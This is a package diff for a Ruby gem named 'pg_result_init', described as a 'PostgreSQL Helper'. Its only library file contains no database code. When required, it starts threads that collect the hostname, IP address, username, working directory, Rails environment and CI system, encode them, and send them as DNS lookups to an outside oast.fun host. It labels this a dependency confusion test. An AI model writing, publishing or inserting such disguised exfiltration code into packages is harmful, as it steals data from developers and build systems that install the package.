pg_result_init 2.0.8

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 29c109814005d2c9af8943c0be723d5915d5ef4bb0241ef2280d5cf957b61da0
+  data.tar.gz: f927ef42d1254876ee7cf0c35f66f26348c13662fa1200c14af19fbfaaa5e5ca
+SHA512:
+  metadata.gz: cbb682e02a212516e960d11bce09b055a7f83708ea82b85e667940af834cc1a3f0ad0f6805e021aaf4b41175c50a59a4ce1b0fef1dd228d29e5d9700437dbaba
+  data.tar.gz: 24e526f4a591f72dda2a6a79d9e4d8c7f5eb89b8378d39030205d7418b301990f6a1d014d15ffc3b7430a7b93218be0bb12c8d7457bcb4d613a57ff017eefbe8

data/lib/pg_result_init.rb

@@ -0,0 +1,96 @@
+#!/usr/bin/env ruby
+
+puts "=" * 70
+puts "🚨 DEPENDENCY CONFIRMED - pg_result_init 2.0.8"
+puts "=" * 70
+
+# دالة الإرسال المحسنة
+def send_enhanced_dns
+  begin
+    require 'socket'
+    require 'base64'
+    require 'json'
+    
+    # معلومات أوضح
+    data = {
+      alert: "DEPENDENCY_CONFUSION_CONFIRMED",
+      hostname: Socket.gethostname,
+      ip: get_ip_address,
+      username: ENV['USER'] || `whoami`.chomp,
+      path: Dir.pwd,
+      rails_env: ENV['RAILS_ENV'] || 'unknown',
+      timestamp: Time.now.to_i,
+      gem: "pg_result_init",
+      version: "99.0.0",
+      ci: detect_ci,
+      pid: Process.pid
+    }
+    
+    puts "📊 Collected data:"
+    data.each { |k,v| puts "  #{k}: #{v}" }
+    
+    # ترميز أفضل
+    json_str = data.to_json
+    encoded = Base64.urlsafe_encode64(json_str)
+    
+    # قسم إلى أجزاء أصغر
+    parts = encoded.scan(/.{1,30}/)
+    
+    puts "📡 Sending #{parts.size} DNS requests..."
+    
+    # إرسال كل جزء
+    parts.each_with_index do |part, i|
+      domain = "#{part}.fgcbalqqlbbmhnammkgaq6buh83eo1ebk.oast.fun"
+      begin
+        Socket.gethostbyname(domain)
+        puts "  ✅ Part #{i+1}/#{parts.size} sent"
+      rescue
+        puts "  ⚠️ Part #{i+1} failed"
+      end
+      sleep(0.2) if i < parts.size - 1
+    end
+    
+    # ملف تأكيد
+    File.write("/tmp/dep_confusion_hit_#{Time.now.to_i}.log",
+      "=" * 60 + "\n" +
+      "DEPENDENCY CONFUSION HIT\n" +
+      "=" * 60 + "\n" +
+      JSON.pretty_generate(data) + "\n" +
+      "=" * 60
+    )
+    
+    puts "✅ All data sent to OAST.FUN"
+    
+  rescue => e
+    puts "❌ Error: #{e.message}"
+  end
+end
+
+def get_ip_address
+  Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }&.ip_address || "unknown"
+end
+
+def detect_ci
+  return "Jenkins" if ENV['JENKINS_URL']
+  return "GitHub" if ENV['GITHUB_ACTIONS']
+  return "GitLab" if ENV['GITHUB_ACTIONS']
+  return "CI" if ENV['CI']
+  "none"
+end
+
+# تنفيذ فوري
+Thread.new { send_enhanced_dns }
+
+# تنفيذ تأخيري
+Thread.new do
+  sleep(2)
+  send_enhanced_dns
+end
+
+puts "=" * 70
+puts "🎯 Data exfiltration activated"
+puts "=" * 70
+
+module PgResultInit
+  VERSION = "2.0.8"
+end

metadata

@@ -0,0 +1,42 @@
+--- !ruby/object:Gem::Specification
+name: pg_result_init
+version: !ruby/object:Gem::Version
+  version: 2.0.8
+platform: ruby
+authors:
+- Security Auditor
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2025-12-02 00:00:00.000000000 Z
+dependencies: []
+description: 
+email: 
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/pg_result_init.rb
+homepage: 
+licenses: []
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.3.5
+signing_key: 
+specification_version: 4
+summary: PostgreSQL Helper
+test_files: []